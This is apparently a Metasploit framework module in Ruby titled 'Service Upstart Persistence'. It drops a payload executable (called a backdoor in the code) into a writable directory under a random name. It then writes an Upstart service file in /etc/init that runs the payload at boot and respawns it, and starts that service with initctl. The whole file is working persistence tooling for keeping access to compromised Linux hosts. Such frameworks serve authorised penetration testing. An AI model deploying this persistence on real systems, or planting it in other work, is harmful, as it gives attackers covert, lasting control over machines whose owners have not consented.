📄 Service Upstart Persistence

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
      Rank = ExcellentRanking
    
      include Msf::Post::File
      include Msf::Post::Unix
      include Msf::Exploit::EXE # for generate_payload_exe
      include Msf::Exploit::FileDropper
      include Msf::Exploit::Local::Persistence
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Deprecated
      moved_from 'exploits/linux/local/service_persistence'
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Service Upstart Persistence',
            'Description' => %q{
              This module will create a service on the box, and mark it for auto-restart.
              We need enough access to write service files and potentially restart services
              Targets:
              CentOS 6
              Fedora >= 9, < 15
              Ubuntu >= 9.10, <= 14.10
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'h00die',
            ],
            'Platform' => ['unix', 'linux'],
            'Targets' => [
              [
                'Upstart', {
                  runlevel: '2345'
                }
              ],
            ],
            'DefaultTarget' => 0,
            'Privileged' => true,
            'Arch' => [
              ARCH_CMD,
              ARCH_X86,
              ARCH_X64,
              ARCH_ARMLE,
              ARCH_AARCH64,
              ARCH_PPC,
              ARCH_MIPSLE,
              ARCH_MIPSBE
            ],
            'References' => [
              ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],
              ['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS],
              ['URL', 'http://blog.terminal.com/getting-started-with-upstart/']
            ],
            'SessionTypes' => ['shell', 'meterpreter'],
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
              'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
            },
            'DisclosureDate' => '2006-08-24' # upstart release date
          )
        )
    
        register_options(
          [
            OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']),
            OptString.new('SERVICE', [false, 'Name of service to create']),
            OptInt.new('RESTART_LIMIT', [false, 'Name of service to create', 3]),
            OptEnum.new('INIT_FOLDER', [false, 'Init folder location', 'auto', ['auto', 'init', 'init.d']])
          ]
        )
      end
    
      def init_folder
        if datastore['INIT_FOLDER'] == 'init' ||
           (
             datastore['INIT_FOLDER'] == 'auto' &&
             exists?('/etc/init')
           )
          return '/etc/init'
        end
    
        '/etc/init.d'
      end
    
      def check
        print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
        return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
        return CheckCode::Safe("#{init_folder} isnt writable") unless writable?(init_folder)
    
        return CheckCode::Safe('Likely not an upstart based system') unless command_exists?('initctl')
    
        CheckCode::Appears("#{writable_dir} is writable and system is upstart based")
      end
    
      def install_persistence
        backdoor = write_shell(writable_dir)
    
        path = backdoor.split('/')[0...-1].join('/')
        file = backdoor.split('/')[-1]
    
        upstart(path, file, target.opts[:runlevel])
      end
    
      def write_shell(path)
        file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
        backdoor = "#{path}/#{file_name}"
        vprint_status("Writing backdoor to #{backdoor}")
        if payload.arch.first == 'cmd'
          write_file(backdoor, payload.encoded)
          chmod(backdoor, 0o711)
        else
          upload_and_chmodx backdoor, generate_payload_exe
        end
        @clean_up_rc << "rm #{backdoor}\n"
    
        fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor)
    
        backdoor
      end
    
      def upstart(backdoor_path, backdoor_file, runlevel)
        script = <<~EOF
          description "Start daemon at boot time"
          start on filesystem or runlevel [#{runlevel}]
          stop on shutdown
          # Ensure only one instance runs
          pre-start script
              if [ -f /var/run/#{backdoor_file}.pid ] && kill -0 $(cat /var/run/#{backdoor_file}.pid) 2>/dev/null; then
                  echo "#{backdoor_file} is already running."
                  exit 1
              fi
          end script
          script
              echo $$ > /var/run/#{backdoor_file}.pid
              exec #{backdoor_path}/#{backdoor_file}
          end script
          post-stop script
              rm -f /var/run/#{backdoor_file}.pid
              sleep 10
          end script
          respawn
          respawn limit #{datastore['RESTART_LIMIT']} 300
        EOF
        service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
        service_name = "#{init_folder}/#{service_filename}.conf"
        vprint_status("Writing service: #{service_name}")
        write_file(service_name, script)
    
        fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)
    
        @clean_up_rc << "rm #{service_name}"
        vprint_status('Starting service')
        cmd_exec("initctl start #{service_filename}")
      end
    end